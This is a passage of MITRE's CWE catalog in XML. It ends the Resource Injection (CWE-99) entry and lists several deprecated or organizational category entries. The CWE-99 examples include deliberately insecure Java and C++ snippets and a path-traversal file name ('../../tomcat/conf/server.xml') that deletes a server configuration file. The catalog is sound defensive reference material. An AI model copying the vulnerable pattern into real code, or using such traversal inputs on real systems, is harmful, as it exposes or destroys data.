                  <xhtml:li>By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.</xhtml:li>
               </xhtml:ol>
            <xhtml:p>This may enable an attacker to access or modify otherwise protected system resources.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="706" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="73" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Insecure Direct Object Reference</Term>
               <Description>OWASP uses this term, although it is effectively the same as resource injection.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Note>An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, it can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String rName = request.getParameter("reportName");<xhtml:br/>File rFile = new File("/usr/local/apfr/reports/" + rName);<xhtml:br/>...<xhtml:br/>rFile.delete();</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>ifstream ifs(argv[0]);<xhtml:br/>string s;<xhtml:br/>ifs &gt;&gt; s;<xhtml:br/>cout &lt;&lt; s;</xhtml:div>
               </Example_Code>
               <Body_Text>The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Resource Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-99</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="10"/>
            <Related_Attack_Pattern CAPEC_ID="240"/>
            <Related_Attack_Pattern CAPEC_ID="75"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-99"/>
         </References>
         <Notes>
            <Note Type="Relationship">Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).</Note>
            <Note Type="Maintenance">The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Maintenance_Notes, Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Description, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Other_Notes, Potential_Mitigations, References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Resource Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Insufficient Control of Resource Identifiers (aka 'Resource Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
	</Weaknesses>
	<Categories>
      <Category ID="1" Name="DEPRECATED: Location" Status="Deprecated">
         <Summary>This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Landwehr</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Location</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="10" Name="DEPRECATED: ASP.NET Environment Issues" Status="Deprecated">
         <Summary>This category has been deprecated. It added unnecessary depth and complexity to its associated views.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">ASP.NET Environment Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="100" Name="DEPRECATED: Technology-Specific Input Validation Problems" Status="Deprecated">
         <Summary>This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-15</Modification_Date>
               <Modification_Comment>changed from weakness to category, updated Relationships, added Taxonomy_Mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Technology-Specific Input Validation Problems</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1001" Name="SFP Secondary Cluster: Use of an Improper API" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Use of an Improper API cluster (SFP3).</Summary>
         <Relationships>
            <Has_Member CWE_ID="111" View_ID="888"/>
            <Has_Member CWE_ID="227" View_ID="888"/>
            <Has_Member CWE_ID="242" View_ID="888"/>
            <Has_Member CWE_ID="245" View_ID="888"/>
            <Has_Member CWE_ID="246" View_ID="888"/>
            <Has_Member CWE_ID="382" View_ID="888"/>
            <Has_Member CWE_ID="383" View_ID="888"/>
            <Has_Member CWE_ID="432" View_ID="888"/>
            <Has_Member CWE_ID="439" View_ID="888"/>
            <Has_Member CWE_ID="440" View_ID="888"/>
            <Has_Member CWE_ID="474" View_ID="888"/>
            <Has_Member CWE_ID="477" View_ID="888"/>
            <Has_Member CWE_ID="479" View_ID="888"/>
            <Has_Member CWE_ID="558" View_ID="888"/>
            <Has_Member CWE_ID="572" View_ID="888"/>
            <Has_Member CWE_ID="573" View_ID="888"/>
            <Has_Member CWE_ID="574" View_ID="888"/>
            <Has_Member CWE_ID="575" View_ID="888"/>
            <Has_Member CWE_ID="576" View_ID="888"/>
            <Has_Member CWE_ID="577" View_ID="888"/>
            <Has_Member CWE_ID="578" View_ID="888"/>
            <Has_Member CWE_ID="586" View_ID="888"/>
            <Has_Member CWE_ID="589" View_ID="888"/>
            <Has_Member CWE_ID="617" View_ID="888"/>
            <Has_Member CWE_ID="676" View_ID="888"/>
            <Has_Member CWE_ID="684" View_ID="888"/>
            <Has_Member CWE_ID="695" View_ID="888"/>
            <Has_Member CWE_ID="758" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1002" Name="SFP Secondary Cluster: Unexpected Entry Points" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Unexpected Entry Points cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="489" View_ID="888"/>
            <Has_Member CWE_ID="491" View_ID="888"/>
            <Has_Member CWE_ID="493" View_ID="888"/>
            <Has_Member CWE_ID="500" View_ID="888"/>
            <Has_Member CWE_ID="531" View_ID="888"/>
            <Has_Member CWE_ID="568" View_ID="888"/>
            <Has_Member CWE_ID="580" View_ID="888"/>
            <Has_Member CWE_ID="582" View_ID="888"/>
            <Has_Member CWE_ID="583" View_ID="888"/>
            <Has_Member CWE_ID="608" View_ID="888"/>
            <Has_Member CWE_ID="766" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1005" Name="7PK - Input Validation and Representation" Status="Draft">
         <Summary>This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that exist when an application does not properly validate or represent input. According to the authors of the Seven Pernicious Kingdoms, "Input validation and representation problems are caused by metacharacters, alternate encodings and numeric representations. Security problems result from trusting input."</Summary>
         <Relationships>
            <Has_Member CWE_ID="20" View_ID="700"/>
            <Has_Member CWE_ID="77" View_ID="700"/>
            <Has_Member CWE_ID="79" View_ID="700"/>
            <Has_Member CWE_ID="89" View_ID="700"/>
            <Has_Member CWE_ID="99" View_ID="700"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2017-05-05</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Seven Pernicious Kingdoms Category: Input Validation and Representation</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1006" Name="Bad Coding Practices" Status="Draft">
         <Summary>Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an exploitable vulnerability will be present in the application. These weaknesses do not directly introduce a vulnerability, but indicate that the product has not been carefully developed or maintained. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.</Summary>
         <Relationships>
            <Has_Member CWE_ID="358" View_ID="699"/>
            <Has_Member CWE_ID="360" View_ID="699"/>
            <Has_Member CWE_ID="478" View_ID="699"/>
            <Has_Member CWE_ID="487" View_ID="699"/>
            <Has_Member CWE_ID="489" View_ID="699"/>
            <Has_Member CWE_ID="547" View_ID="699"/>
            <Has_Member CWE_ID="561" View_ID="699"/>
            <Has_Member CWE_ID="562" View_ID="699"/>
            <Has_Member CWE_ID="563" View_ID="699"/>
            <Has_Member CWE_ID="581" View_ID="699"/>
            <Has_Member CWE_ID="586" View_ID="699"/>
            <Has_Member CWE_ID="605" View_ID="699"/>
            <Has_Member CWE_ID="628" View_ID="699"/>
            <Has_Member CWE_ID="654" View_ID="699"/>
            <Has_Member CWE_ID="656" View_ID="699"/>
            <Has_Member CWE_ID="694" View_ID="699"/>
            <Has_Member CWE_ID="807" View_ID="699"/>
            <Has_Member CWE_ID="1041" View_ID="699"/>
            <Has_Member CWE_ID="1043" View_ID="699"/>
            <Has_Member CWE_ID="1044" View_ID="699"/>
            <Has_Member CWE_ID="1045" View_ID="699"/>
            <Has_Member CWE_ID="1046" View_ID="699"/>
            <Has_Member CWE_ID="1048" View_ID="699"/>
            <Has_Member CWE_ID="1049" View_ID="699"/>
            <Has_Member CWE_ID="1050" View_ID="699"/>
            <Has_Member CWE_ID="1063" View_ID="699"/>
            <Has_Member CWE_ID="1065" View_ID="699"/>
            <Has_Member CWE_ID="1066" View_ID="699"/>
            <Has_Member CWE_ID="1067" View_ID="699"/>
            <Has_Member CWE_ID="1070" View_ID="699"/>
            <Has_Member CWE_ID="1071" View_ID="699"/>
            <Has_Member CWE_ID="1072" View_ID="699"/>
            <Has_Member CWE_ID="1073" View_ID="699"/>
            <Has_Member CWE_ID="1079" View_ID="699"/>
            <Has_Member CWE_ID="1082" View_ID="699"/>
            <Has_Member CWE_ID="1084" View_ID="699"/>
            <Has_Member CWE_ID="1085" View_ID="699"/>
            <Has_Member CWE_ID="1087" View_ID="699"/>
            <Has_Member CWE_ID="1089" View_ID="699"/>
            <Has_Member CWE_ID="1092" View_ID="699"/>
            <Has_Member CWE_ID="1094" View_ID="699"/>
            <Has_Member CWE_ID="1097" View_ID="699"/>
            <Has_Member CWE_ID="1098" View_ID="699"/>
            <Has_Member CWE_ID="1099" View_ID="699"/>
            <Has_Member CWE_ID="1101" View_ID="699"/>
            <Has_Member CWE_ID="1102" View_ID="699"/>
            <Has_Member CWE_ID="1103" View_ID="699"/>
            <Has_Member CWE_ID="1104" View_ID="699"/>
            <Has_Member CWE_ID="1106" View_ID="699"/>
            <Has_Member CWE_ID="1107" View_ID="699"/>
            <Has_Member CWE_ID="1108" View_ID="699"/>
            <Has_Member CWE_ID="1109" View_ID="699"/>
            <Has_Member CWE_ID="1113" View_ID="699"/>
            <Has_Member CWE_ID="1114" View_ID="699"/>
            <Has_Member CWE_ID="1115" View_ID="699"/>
            <Has_Member CWE_ID="1116" View_ID="699"/>
            <Has_Member CWE_ID="1117" View_ID="699"/>
            <Has_Member CWE_ID="1126" View_ID="699"/>
            <Has_Member CWE_ID="1127" View_ID="699"/>
            <Has_Member CWE_ID="1235" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
